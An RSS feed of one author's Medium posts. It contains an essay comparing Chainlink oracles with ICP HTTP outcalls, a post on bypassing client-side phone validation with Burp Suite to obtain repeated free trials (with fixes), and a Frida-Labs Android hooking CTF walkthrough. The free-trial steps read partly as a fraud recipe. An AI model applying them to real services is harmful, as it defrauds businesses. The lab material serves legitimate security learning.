<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yousseff on Medium]]></title>
        <description><![CDATA[Stories by Yousseff on Medium]]></description>
        <link>https://medium.com/@Youseef?source=rss-221589b43f0d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*nKzSne7EX9hjZO9QQRRqDg.jpeg</url>
            <title>Stories by Yousseff on Medium</title>
            <link>https://medium.com/@Youseef?source=rss-221589b43f0d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 04 Jun 2026 00:50:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Youseef/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Empowering Smart Contracts with Native HTTP Outcalls: A Comparative Study with Oracles in Web3]]></title>
            <link>https://medium.com/@Youseef/empowering-smart-contracts-with-native-http-outcalls-a-comparative-study-with-oracles-in-web3-71c25efbd72c?source=rss-221589b43f0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/71c25efbd72c</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[chain-link]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[icp]]></category>
            <dc:creator><![CDATA[Yousseff]]></dc:creator>
            <pubDate>Sun, 29 Jun 2025 17:36:20 GMT</pubDate>
            <atom:updated>2025-06-29T17:36:20.514Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fip6MzBb_6bnx8CyM3QX5g.png" /></figure><h3>Abstract</h3><p>Smart contracts in Web3 require external data for applications like decentralized finance (DeFi) and dynamic NFTs, but most blockchains restrict direct internet access to ensure security and determinism. Two solutions address this: Oracles (e.g., Chainlink), which use off-chain nodes to fetch and verify data, and Native HTTP Outcalls (e.g., Internet Computer Protocol — ICP), which allow smart contracts to directly query APIs. While Oracles like Chainlink are well-suited for high-security use cases, ICP’s Native HTTP Outcalls offer a groundbreaking paradigm that combines decentralization with real-time Web2 interoperability. This paper highlights ICP’s architectural innovation that enables on-chain API calls without off-chain dependencies — an approach that could redefine how smart contracts evolve.</p><h3>1. Introduction</h3><p>Smart contracts operate in isolated environments, unable to directly access external data due to blockchain constraints like determinism and consensus. Unlike traditional blockchain models that limit smart contracts’ capabilities, ICP introduces a fundamentally more powerful model by integrating HTTP Outcalls directly into its protocol. This innovation dramatically enhances developer productivity and unlocks new real-time applications natively on-chain. This paper analyzes their technical architectures, security mechanisms, verification methods, philosophical underpinnings, and trade-offs. We explore why Oracles are favored for high-stakes applications, why developers might choose Native Outcalls despite security trade-offs, and how their design philosophies reflect broader Web3 debates.</p><h3>2. Background</h3><h3>2.1 Oracles (Chainlink)</h3><p>Oracles act as intermediaries between smart contracts and external data sources. Chainlink, a leading Oracle provider, uses a decentralized network of nodes to fetch data and deliver it to smart contracts via on-chain transactions. The smart contract emits a request as an event, which Oracle nodes monitor, fetch data from an API, and return via a fulfill() callback.</p><p><strong>Example: Chainlink Price Feed (Solidity)</strong></p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.7;<br>import &quot;@chainlink/contracts/src/v0.8/ChainlinkClient.sol&quot;;<br>contract PriceFeed is ChainlinkClient {<br>    using Chainlink for Chainlink.Request;<br>    uint256 public price;<br>    address private oracle;<br>    bytes32 private jobId;<br>    uint256 private fee;<br>    constructor(address _oracle, bytes32 _jobId, uint256 _fee, address _link) {<br>        setChainlinkToken(_link);<br>        oracle = _oracle;<br>        jobId = _jobId;<br>        fee = _fee;<br>    }<br>    function requestPrice() public {<br>        Chainlink.Request memory req = buildChainlinkRequest(jobId,<br>            address(this), this.fulfill.selector);<br>        req.add(&quot;get&quot;, &quot;https://api.coindesk.com/v1/bpi/currentprice/ETH.json&quot;);<br>        req.add(&quot;path&quot;, &quot;bpi.USD.rate_float&quot;);<br>        sendChainlinkRequestTo(oracle, req, fee);<br>    }<br>    function fulfill(bytes32 _requestId, uint256 _price) public recordChainlinkFulfillment(_requestId) {<br>        price = _price;<br>    }<br>}</pre><h3>2.2 Native HTTP Outcalls (ICP)</h3><p>ICP’s Canisters can perform Native HTTP Outcalls, sending HTTP requests directly to APIs. Subnet nodes execute these requests, validate responses through consensus, and return results to the Canister, eliminating external intermediaries. ICP’s model removes reliance on third-party middleware entirely, achieving what Ethereum and others have only approximated: true Web3 interoperability with Web2 in a fully decentralized environment.</p><p><strong>Example: ICP Canister HTTP Outcall (Motoko)</strong></p><pre>import Http &quot;mo:base/Http&quot;;<br>actor {<br>    public func getEthPrice(): async Text {<br>        let request = {<br>            url = &quot;https://api.coindesk.com/v1/bpi/currentprice/ETH.json&quot;;<br>            method = #get;<br>            headers = [];<br>            body = null;<br>            transform = null;<br>        };<br>        let response = await Http.fetch(request);<br>        return response.body;<br>    };<br>}</pre><h3>3. Technical Architecture</h3><h3>3.1 Oracles (Chainlink)</h3><p><strong>Request Flow</strong>: The smart contract emits a request event (e.g., requestPrice()), logged on the blockchain. Oracle nodes monitor these events, fetch data off-chain, and submit results via a fulfill() transaction, validated by a modifier (e.g., recordChainlinkFulfillment).</p><p><strong>Execution</strong>: Off-chain, with nodes running JavaScript or other logic (e.g., Chainlink Functions).</p><p><strong>Example: Chainlink Functions (Off-Chain JavaScript)</strong></p><pre>const response = await Functions.makeHttpRequest({<br>  url: &quot;https://api.coindesk.com/v1/bpi/currentprice/ETH.json&quot;<br>});<br>if (response.error) throw Error(&quot;HTTP request failed&quot;);<br>const price = response.data.bpi.USD.rate_float;<br>return Functions.encodeUint256(Math.round(price * 100));</pre><h3>3.2 Native HTTP Outcalls (ICP)</h3><p><strong>Request Flow</strong>: The Canister sends an HTTP request via the Http.fetch function. Subnet nodes execute the request, reach consensus on the response, and return it to the Canister.</p><p><strong>Execution</strong>: On-chain, within ICP’s WebAssembly runtime.</p><p>Unlike Oracles that fragment the architecture into on-chain/off-chain layers, ICP’s approach is unified: all logic, including external communication, is handled within the blockchain environment itself, enhancing transparency and auditability.</p><h3>4. Security and Verification</h3><h3>4.1 Oracles: Robust Security</h3><p>Chainlink employs three verification methods:</p><ul><li><strong>Trusted Oracles</strong></li><li><strong>Decentralized Oracle Network (DON)</strong></li><li><strong>Proof-Based Oracles</strong>: TLS Notary, Zero-Knowledge Proofs (ZKPs), Merkle Proofs</li></ul><h3>4.2 Native Outcalls: Consensus-Based Validation</h3><p>Native Outcalls expose Canisters to Web2 vulnerabilities (e.g., API downtime, DNS spoofing). ICP mitigates this through:</p><ul><li>Subnet Consensus</li><li>Rate Limits</li><li>Guards</li></ul><p>While ICP does not yet implement cryptographic proofs like ZKPs natively, its consensus-driven HTTP response validation is a unique on-chain alternative that avoids off-chain trust assumptions altogether.</p><h3>5. Why Native HTTP Outcalls Are the Future of Web3 Interoperability</h3><p>Native HTTP Outcalls enable true real-time smart contracts — an unprecedented capability in Web3. By avoiding the complexity and latency of off-chain oracle networks, ICP empowers developers to build richer, faster, and more integrated dApps.</p><p><strong>Benefits:</strong></p><ul><li>Developer Simplicity</li><li>Synchronous Interaction</li><li>No Third-Party Dependency</li><li>Lower Cost for Infrequent Requests</li><li>Flexibility for Public Data</li></ul><p><strong>Trade-Offs:</strong></p><ul><li>Security: Lower</li><li>Verification: No cryptographic proofs</li><li>Scalability: Each Canister makes its own request</li></ul><h3>6. Why Oracles Are Preferred for Security-Critical Applications</h3><ul><li>Robust Verification</li><li>Trust Minimization</li><li>Data Reusability</li><li>Separation of Concerns</li></ul><h3>7. Use Cases</h3><p><strong>Oracles:</strong></p><ul><li>DeFi (e.g., Aave price feeds)</li><li>NFTs with verified metadata</li><li>Sensitive applications</li></ul><p><strong>Native HTTP Outcalls:</strong></p><ul><li>Prototyping, MVPs</li><li>Public data apps</li><li>Real-time dashboards, games</li></ul><h3>8. Philosophical Foundations</h3><p>Ethereum’s model prioritizes strict determinism, often at the cost of usability and innovation. ICP offers a new vision of decentralization — one that does not compromise functionality. Its model demonstrates that blockchains can be both secure and powerful, paving the way for advanced, real-world applications.</p><h3>9. Discussion</h3><p>Oracles offer superior security and trust minimization. Native Outcalls offer simplicity and speed. Developers must weigh trade-offs based on:</p><ul><li>Security Needs</li><li>Cost Constraints</li><li>Application Requirements</li><li>Philosophical Alignment</li></ul><h3>10. Conclusion</h3><p>Both Oracles and Native Outcalls have their place in the evolving Web3 ecosystem. However, ICP’s architecture marks a transformative shift by enabling smart contracts to directly access the internet with consensus validation. This opens the door for a new class of dApps that were previously infeasible on traditional blockchains. As the demand for real-world interoperability grows, Native HTTP Outcalls on ICP may become the gold standard for smart contract design.</p><h3>11. References</h3><ul><li>Chainlink. (2025). Chainlink Documentation. <a href="https://docs.chain.link/">https://docs.chain.link/</a></li><li>DFINITY. (2025). ICP Developer Docs — HTTP Outcalls. <a href="https://internetcomputer.org/docs/current/developer-docs/integrations/http_requests/">https://internetcomputer.org/docs/current/developer-docs/integrations/http_requests/</a></li><li>Chainlink. (2025). How Oracles Work [Video]. YouTube. <a href="https://www.youtube.com/@ChainlinkOfficial">https://www.youtube.com/@ChainlinkOfficial</a></li><li>DFINITY. (2025). HTTP Outcalls Explained [Video]. YouTube. <a href="https://www.youtube.com/@DFINITY">https://www.youtube.com/@DFINITY</a></li></ul><h3>12. Acknowledgments</h3><p>This research was inspired by discussions on Web3 data integration and the evolving role of smart contracts in bridging Web2 and Web3 ecosystems. The author thanks the Web3 community for fostering open dialogue.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71c25efbd72c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Bypass Phone Number Validation for Unlimited Free Trials]]></title>
            <link>https://medium.com/@Youseef/how-to-bypass-phone-number-validation-for-unlimited-free-trials-98d8bf2f0955?source=rss-221589b43f0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/98d8bf2f0955</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[Yousseff]]></dc:creator>
            <pubDate>Sat, 05 Apr 2025 13:00:38 GMT</pubDate>
            <atom:updated>2025-05-17T08:34:16.215Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bypass Phone Number Validation for Unlimited Free Trials</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*yX3k5xGfVE7NwfhcFyL1nQ.jpeg" /></figure><p>Imagine signing up for a free trial over and over with the same phone number. It’s not just a dream — I found a flaw in a Free Trial registration system that makes it possible. Today, I’ll explain this vulnerability, focusing on how the system <em>does</em> have phone number validation, but you can easily bypass it with Burp Suite.</p><h3>The flaw: Weak Validation</h3><p>When you sign up for a free trial, the system asks for your phone number to send a verification code (OTP). It’s supposed to limit one trial per number, and there <em>is</em> validation in place — specifically, <strong>a client-side </strong>check to ensure the <strong>number looks valid</strong> (like it has the right length or starts with a country code, e.g., +12025550123). The catch? T<strong>his validation happens on your device, not the server.</strong></p><p>Here’s where it falls apart: if you intercept the request with a tool like Burp Suite, you can change the number to one you’ve already used, tweak its format (like ++12025550123), and send it to the server. The server doesn’t recheck the number properly — it just trusts the request and sends a new OTP. Free trials, unlimited.</p><h3>How to Do It: Simple Steps</h3><p>Here’s how to bypass it on a site like <a href="https://example.com/trials:">https://example.com/trials:</a></p><ol><li>Go to the Free Trial page and enter a new phone number (e.g., +12025550123).</li><li>Click “Send Verification Code.” The client-side validation checks if it’s a valid format and lets it through.</li><li>Use Burp Suite to intercept the request before it hits the server.</li><li>Swap the number for one you’ve used before, but change the format (e.g., ++12025550123).</li><li>Send the request. The server skips any deep validation and sends an OTP to the old number.</li><li>Enter the code, get your trial, and repeat forever.</li></ol><p>The client-side validation is useless once you intercept the request — it’s like locking the front door but leaving the back wide open.</p><h3>Why It’s a Big Deal</h3><p>This flaw causes trouble:</p><ul><li><strong>Unlimited Trials</strong>: You can keep getting free trials without paying.</li><li><strong>Money Loss</strong>: The company loses out on subscription cash.</li><li><strong>Fake Accounts</strong>: One number can create tons of profiles.</li><li><strong>Big Risk</strong>: Bots could automate this and make thousands of trials fast.</li></ul><p>It’s a small oversight with a huge cost.</p><h3>How to Fix It</h3><p>The fix is straightforward:</p><ol><li><strong>Move Validation to the Server</strong>: Don’t just check the number on the user’s device — verify it on the server too.</li><li><strong>Clean Up Numbers</strong>: Use a tool like libphonenumber to turn all formats (e.g., +12025550123 or ++12025550123) into one standard (like +12025550123).</li><li><strong>Block Repeats</strong>: Check if the normalized number was used before, and stop it from getting another trial.</li><li><strong>Limit Requests</strong>: Cap how many times a number or IP can ask for codes.</li></ol><p>These steps kill the bypass dead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*6IGF67RoZWyvX320ZE6bBQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98d8bf2f0955" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hooking Functions by Frida Scripting]]></title>
            <link>https://medium.com/@Youseef/hooking-functions-with-frida-scripting-e5345cac0c5a?source=rss-221589b43f0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5345cac0c5a</guid>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[native-library]]></category>
            <category><![CDATA[hooking]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Yousseff]]></dc:creator>
            <pubDate>Wed, 05 Mar 2025 03:50:37 GMT</pubDate>
            <atom:updated>2025-03-06T08:10:38.697Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yOZR1gu2kDd02LEYI5XGPQ.png" /></figure><p>Before we dive into the challenges, it’s important to understand the underlying concepts.</p><h4>How Do Classes Load in Android?</h4><p>📌 <strong>Non-static methods:</strong></p><ul><li>Require an <strong>instance</strong> of the class to be called.</li><li>The class gets loaded into memory <strong>only when an object is created</strong> (Lazy Loading).</li><li>These require an <strong>instance</strong> of the class to call the method. Therefore, the app needs to start first in order to create the instance before we can inject the script.</li></ul><p>📌 <strong>Static methods:</strong></p><ul><li>Belong to the class itself, not an instance</li><li>These do not require an instance, and can be accessed directly through the class itself. As a result, <strong>we can inject the script at any time after the class is loaded into memory</strong> <strong>(even if the app is already running).</strong></li></ul><h3>📊 Frida Hooking &amp; Memory Behavior</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*0km0HyhNceh0SpBxe1BlDw.png" /></figure><h4>📝 Frida 0x1 — Static Function Hooking</h4><h4>🎯 Challenge Objective</h4><p>The application verifies user input using a function called check(i, i2). This function compares a random number (i) generated by get_random() with the user-provided input (i2). If the condition (i * 2) + 4 == i2 is met, it reveals a flag.</p><h4><strong>Our Goal:</strong></h4><ol><li>Analyze the app’s logic using <strong>JADX</strong>.</li></ol><p>2. Use <strong>Frida</strong> to bypass the check and retrieve the flag.</p><h4>🔍 Analyzing the Code with JADX</h4><p>By decompiling the APK with <strong>JADX</strong>, we find the following logic in onCreate():</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNC9I1kDssli5LU-ewqoHA.png" /></figure><h4>Here:</h4><ol><li>i2 is <strong>entered by the user</strong>.</li><li>i is a random number generated by:</li></ol><p>The check(i, i2) function verifies the condition:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*ydU1h_jjk6aKidHWycWrLQ.png" /></figure><h4>🔎 Breaking It Down</h4><p>For check(i, i2) to return <strong>true</strong>, the user must enter i2 with value equals</p><p>(i * 2) + 4, Since i is random, the user cannot predict the correct i2</p><h4>🚀 Exploiting the Application Using Frida</h4><p>Method 1: Directly Calling check() with the Correct Values</p><p>Instead of manually guessing i2, we can use Frida to directly execute check() with valid values:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*sF0TEUwfiAYFIgytrpQlTA.png" /></figure><h4>Method 2: Hooking check() to Always Pass</h4><p>To avoid worrying about the random i, we can hook check() and modify i2 dynamically:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*L_9Li-6FxrH9rFXAXP_lsA.png" /></figure><h4>Method 3: Hook get_random() to Control i</h4><p>Instead of a random number, we override get_random() to always return4:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SiUA3Tm-vF6QocEFhzcf8A.png" /></figure><h4>✅ Final Execution</h4><ol><li>Run Frida with the script:</li></ol><pre>frida -U -f com.ad2001.frida0x1 -l hook.js </pre><ul><li>Open the app and enter 12 in the input field.</li><li>The flag is revealed in the TextView.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/288/1*OlxgVOfhss3Z2y9AQun7Ng.png" /></figure><h4>🎯 Frida 0x4 — Hooking Non-Static Methods &amp; Memory Loading</h4><h4>🛠 Challenge Overview</h4><p>In this challenge, we’re analyzing the Check class inside the <strong>com.ad2001.frida0x4</strong> package. It contains a method:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*II5XQz-Nfo2uRHUNGBNl5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*0Ub-S_if2tZ2tzrnBkuCrw.png" /></figure><p>Our goal is to retrieve the <strong>hidden flag</strong> inside the get_flag() method using <strong>Frida</strong>.</p><h4>🔎 Step 1: Identifying Static vs. Non-Static Methods</h4><ul><li>The method get_flag(int a) <strong>is non-static</strong>.</li><li>This means that <strong>we cannot call it directly</strong> from the class; instead, we <strong>must create an instance first</strong> before calling it.</li></ul><p>🚀 <strong>Key Difference from Previous Challenges:</strong></p><ul><li>If get_flag() were static, we could call it like this:</li></ul><pre>Java.perform(function() {<br>    let ref = Java.use(&quot;com.ad2001.frida0x4.Check&quot;);<br>    console.log(ref.get_flag(1337));<br>});</pre><p><strong>BUT</strong>, since it is a <strong>non-static method</strong>, we must create an instance first.</p><h4>💻 Step 2: Writing the Frida Script</h4><p>Since get_flag() is a <strong>non-static method</strong>, we <strong>must create an instance</strong> before calling it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*BJAvXTpSYOyaVZzduV_X5A.png" /></figure><h3>🧠 Why Do We Create an Instance?</h3><ul><li><strong>Non-static methods belong to an instance of a class</strong>, not the class itself.</li><li><strong>Dalvik/ART Lazy Loading:</strong> Classes are not loaded into memory until needed, so <strong>creating an instance ensures it’s available</strong>.</li><li>Unlike <strong>static methods</strong>, which are accessible via ClassName.methodName(), non-static methods <strong>require an object</strong> to be invoked.</li></ul><h4>Frida0x5 — Non Static Function Hooking in MainActivity</h4><h4>🔍 Overview</h4><p>We need to extract a flag from an Android app using Frida. The flag is decrypted in flag(int code), but we <strong>can&#39;t create a </strong><strong>MainActivity instance manually</strong> due to Android&#39;s lifecycle. Instead, we hook a running instance.</p><h4>📌 Step 1: Reverse Engineering</h4><h4>Using JADX, we find:</h4><p><strong>Decryption in </strong><strong>flag(int code)</strong>, triggered if code == 1337.</p><p><strong>AES/CBC/PKCS5Padding</strong> encryption with:</p><ul><li><strong>Key:</strong> &quot;WILLIWOMNKESAWEL&quot;</li><li><strong>IV:</strong> new byte[16] (all zeroes).</li><li><strong>Encrypted Data:</strong> &quot;2Y2YINP9PtJCS/7oq189VzFynmpG8swQDmH4IC9wKAY=&quot;.</li></ul><p>When working with Frida, a common approach is to use Java.use(&quot;com.ad2001.frida0x5.MainActivity&quot;) to create an instance. However, this <strong>doesn&#39;t work</strong> because:</p><p>there is non-static method in the MainActivity Class, so we need to find instance for MainActivity Class</p><h4>Why We Can’t Create an Instance of MainActivity?</h4><p>1️⃣ <strong>Android Manages Activity Instances</strong> → Android handles MainActivity lifecycle, so creating a new instance (new MainActivity()) wouldn&#39;t link it to the system correctly.</p><p>2️⃣ <strong>Needs a Valid Context</strong> → MainActivity relies on system resources (UI, services). A manually created instance <strong>won&#39;t have a proper Android context</strong>, causing failures.</p><p><strong>Solution: Find an Existing Instance Using </strong><strong>Java.choose()</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*wlpuJiDt7s_owUuioiV0aw.png" /></figure><h4>Frida0x7 - <strong>Hooking Non-Static Functions in MainActivity with External Class Parameters</strong></h4><p>This challenge introduces an extra layer of complexity by requiring an instance of the Checker class with specific values (A.num1 &gt; 512 &amp;&amp; 512 &lt; A.num2) addition to MainActivity Instance, before the flag() method decrypts the flag.</p><h4>🎯 Challenge Goal</h4><p>The challenge involves bypassing the conditions in an Android app that decrypts a flag using AES encryption, but only if specific conditions are met. Our goal is to retrieve the flag by bypassing these conditions using Frida.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*6QZ05jKE_nBQvb03lcJBSA.png" /></figure><h4>🔍 Solution Using Frida</h4><ul><li>We use Java.choose() to find the running instance of MainActivity.</li><li>Then, we create an instance of Checker, set the required values, and pass it to flag() because</li><li>Once called, flag() decrypts the flag using AES.</li></ul><h4>🛠 Why Do We Need to Create an Instance of Checker to Call function: flag() ?</h4><p>he method flag(Checker A) in MainActivity requires an instance of Checker as a parameter. If we don’t pass this instance correctly, the function cannot execute properly.</p><h4>We Can’t Use the MainActivity Instance Instead</h4><ul><li>MainActivity and Checker are <strong>completely different classes</strong>.</li><li>The instance we find using Java.choose(&quot;com.ad2001.frida0x7.MainActivity&quot;) is for MainActivity only.</li><li>Checker must be <strong>created separately</strong> because it’s not automatically instantiated inside MainActivity.</li></ul><h4>🔍 Step 2: Finding MainActivity Instance</h4><p>Since we cannot manually instantiate MainActivity, we need to use Frida to search for a running instance. We do this using Java.choose().</p><h4>🛠 Step 3: Creating an Instance of Checker</h4><p>To call flag(Checker A), we must create an instance of the Checker class and set the required values before passing it to the method.</p><h4>🏴 Step 4: Writing the Frida Script</h4><p>The following Frida script finds a running instance of MainActivity, creates a Checker instance, assigns the required values, and calls the flag() function.</p><h4>🔑 Key Findings</h4><ul><li>The flag() method decrypts a <strong>Base64-encoded AES string</strong> only if: A.num1 &gt; 512 &amp;&amp; 512 &lt; A.num2</li><li>Meaning num1 and num2 must both be <strong>greater than 512</strong>., Checker is a class that takes two numbers as input.</li></ul><h4><strong>Method 1: Create a New </strong><strong>Checker Instance and Inject It</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*UZpoa5QBC9KGLBya7MM8Gw.png" /></figure><h4><strong>🔹 Explanation:</strong></h4><ul><li>Java.choose() finds an active MainActivity instance.</li><li>We pass parameters to newChecker(1024, 1024) Checker Class Constructor</li><li>The flag function is called on the instance of MainActivity, and the new Checker instance (newChecker) is passed as an argument.</li></ul><h4><strong>Method 2: Override the </strong><strong>Checker Constructor</strong></h4><p><strong>By relying on overriding the constructor in the </strong><strong>Checker class, we will not need to find the </strong><strong>MainActivity instance.</strong></p><p>This is because the constructor is in the Checker class, not the MainActivity class, <strong>Therefore, we can directly modify how </strong><strong>Checker instances are created, without having to interact with </strong><strong>MainActivity at all.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*uz_WTGaYEn4YbZfuJ1WqUQ.png" /></figure><h4><strong>🔹 Explanation:</strong></h4><ul><li>This modifies the constructor to always use 1024, 1024.</li><li>Every Checker instance created in the app will pass the check.</li></ul><h4>🛠 Frida0x8 — Hooking Native Functions in Shared Libraries</h4><h4>🎯 Challenge Goal</h4><p>The challenge involves an Android application that verifies user input using a native function cmpstr(). Our goal is to bypass this check and obtain the correct input (flag) using Frida.</p><p>1️⃣ cmpstr() — Native Function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*IcHBjkKChPf3dkycOr-_JA.png" /></figure><p>This method is declared as native, meaning it&#39;s implemented in a native C/C++ library (frida0x8.so).</p><ul><li>It returns an integer (1 if correct, otherwise 0).</li><li>We need to bypass this function to always return 1 or extract the correct input (flag).</li></ul><p><strong>App Behavior</strong>:<br>The app takes user input (ip), It passes this input to cmpstr(ip).</p><ul><li>If cmpstr() returns 1, it displays: YEY YOU GOT THE FLAG &lt;input&gt;, Otherwise, it shows &quot;TRY AGAIN&quot;.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*S_BHBKIeKu1fn9uazjtslw.png" /></figure><h4>Our goal is to either:</h4><ul><li><strong>Hook</strong> cmpstr() to always return <strong>1</strong> (indicating the input is always correct).</li><li><strong>Extract the correct flag</strong> by inspecting the logic of cmpstr().</li></ul><h4>Method 1: Analyzing the Library in Ghidra</h4><p>Now that we have libfrida0x8.so, we use <strong>Ghidra</strong> (a reverse engineering tool) to inspect its code.</p><ol><li><strong>Open </strong><strong>Ghidra and Import the </strong><strong>.so File</strong></li><li><strong>Look for </strong><strong>Java_com_ad2001_frida0x8_MainActivity_cmpstr</strong></li><li><strong>Check the Logic</strong></li></ol><ul><li>If it <strong>compares the input to a hardcoded value</strong>, we can extract the correct answer.</li><li>If the flag is <strong>encoded</strong>, we need to debug it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klvNpd-IFfWeZDAkwIztkQ.png" /></figure><h4>Breakdown:</h4><ul><li>param_3 is a <strong>Java string</strong> that’s passed into the native C/C++ function.</li><li>The function converts param_3 (the Java string) to a C-style string using _JNIEnv::GetStringUTFChars().</li><li>The function compares the user’s input to a <strong>shifted</strong> version of the string &quot;GSJEB|OBUJWFMBOE~&quot; It shifts each character by -1 → FRIDA_NATIVE_LAND</li><li>you can exploit it and put FRIDA_NATIVE_LAND it’s the correct password</li></ul><blockquote>Note: you can know function name from Ghidra</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GiMNyQucVZwr98K1ee_DXw.png" /></figure><p>Also can use Frida Modules instead Ghidra to know function name, address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*YLxhVLC7xkv7CCJ8Il1d4A.png" /></figure><p><strong>🚨 Disclaimer:</strong> <em>Do not hardcode function addresses in Frida scripts. Due to ASLR (Address Space Layout Randomization), function addresses change every time the app runs. Instead, use </em><em>Module.getExportByName()</em></p><h4>Hooking Script</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JUPsNeB3y7KX4EO3qQ6ujQ.png" /></figure><h4>Why Java.perform Doesn&#39;t Work in This Case?</h4><p>Java.perform is used to hook <strong>Java methods</strong> only. It works within the <strong>Java runtime</strong> and interacts with <strong>Java objects</strong>. However, our target function cmpstr is inside a <strong>native library (.so file)</strong>, which Java treats as a <strong>black box</strong>.</p><h4>From Java’s runtime environment</h4><ul><li>The cmpstr function <strong>takes only one string</strong> (user input).</li><li>However, inside the .so file, cmpstr also <strong>uses another hidden string</strong> that Java doesn’t see.</li><li>Since Java.perform hooks <strong>only Java APIs</strong>, it <strong>won’t capture the hidden string</strong>—only the user input.</li></ul><p><strong>Why is this a problem?</strong><br>If you try to hook cmpstr using Java.perform, all you can print is <strong>your own input</strong>—which is useless since you already know it. The real logic is hidden inside the <strong>native code (.so file)</strong>.</p><h4><strong>How to Bypass This Limitation?</strong></h4><p>✅ <strong>Use Frida’s </strong><strong>Interceptor.attach</strong> → This allows you to hook <strong>native functions inside the .so file</strong> instead of just Java.</p><h4>Method 2: Java Hook (Bypassing cmpstr)</h4><p>Instead of guessing the correct input, we can <strong>modify</strong> how cmpstr works using <strong>Frida</strong>, a powerful Android dynamic analysis tool.</p><h4>🔴 Easy but Weak Method: Java Hook (Surface-Level Bypass)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oOe3fOa4Hh4cwc9HxxibiQ.png" /></figure><p>This forces cmpstr to <strong>always return </strong><strong>1</strong>, bypassing the validation.</p><p><strong>Weakness:</strong> This does not help in real-world challenges where additional security checks exist.</p><h4>Feel Free to Connect my <a href="http://www.linkedin.com/in/youssefahmed70">Linkedin</a></h4><h3>References</h3><p>Frida-Labs Repository</p><p><a href="https://github.com/DERE-ad2001/Frida-Labs">GitHub - DERE-ad2001/Frida-Labs: The repo contains a series of challenges for learning Frida for Android Exploitation.</a></p><p>Frida CodeShare is an online platform for sharing Frida scripts and collaborating on security research.</p><p><a href="https://codeshare.frida.re/">Frida CodeShare</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5345cac0c5a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Data Storage & Insecure Logging]]></title>
            <link>https://medium.com/@Youseef/insecure-data-storage-insecure-logging-a13dd9e4ffc4?source=rss-221589b43f0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/a13dd9e4ffc4</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[insecure-logging]]></category>
            <category><![CDATA[androidpenetrationtesting]]></category>
            <category><![CDATA[insecure-data-storage]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Yousseff]]></dc:creator>
            <pubDate>Fri, 31 Jan 2025 21:53:21 GMT</pubDate>
            <atom:updated>2025-02-02T16:11:12.452Z</atom:updated>
